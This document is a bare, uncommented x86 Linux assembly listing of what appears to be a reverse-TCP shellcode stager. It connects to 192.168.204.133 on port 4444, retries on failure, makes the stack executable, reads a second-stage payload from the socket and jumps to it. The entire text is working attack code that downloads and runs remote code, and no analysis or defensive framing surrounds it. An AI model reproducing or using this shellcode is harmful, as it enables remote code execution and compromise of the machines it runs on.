push   0xa
pop    esi
xor    ebx,ebx
mul    ebx
push   ebx
inc    ebx
push   ebx
push   0x2
mov    al,0x66
mov    ecx,esp
int    0x80
xchg   edi,eax
pop    ebx
push   0x85cca8c0
push   0x5c110002
mov    ecx,esp
push   0x66
pop    eax
push   eax
push   ecx
push   edi
mov    ecx,esp
inc    ebx
int    0x80
test   eax,eax
jns    0x48
dec    esi
je     0x6f
push   0xa2
pop    eax
push   0x0
push   0x5
mov    ebx,esp
xor    ecx,ecx
int    0x80
test   eax,eax
jns    0x3
jmp    0x6f
mov    dl,0x7
mov    ecx,0x1000
mov    ebx,esp
shr    ebx,0xc
shl    ebx,0xc
mov    al,0x7d
int    0x80
test   eax,eax
js     0x6f
pop    ebx
mov    ecx,esp
cdq
mov    dh,0xc
mov    al,0x3
int    0x80
test   eax,eax
js     0x6f
jmp    ecx
mov    eax,0x1
mov    ebx,0x1
int    0x80
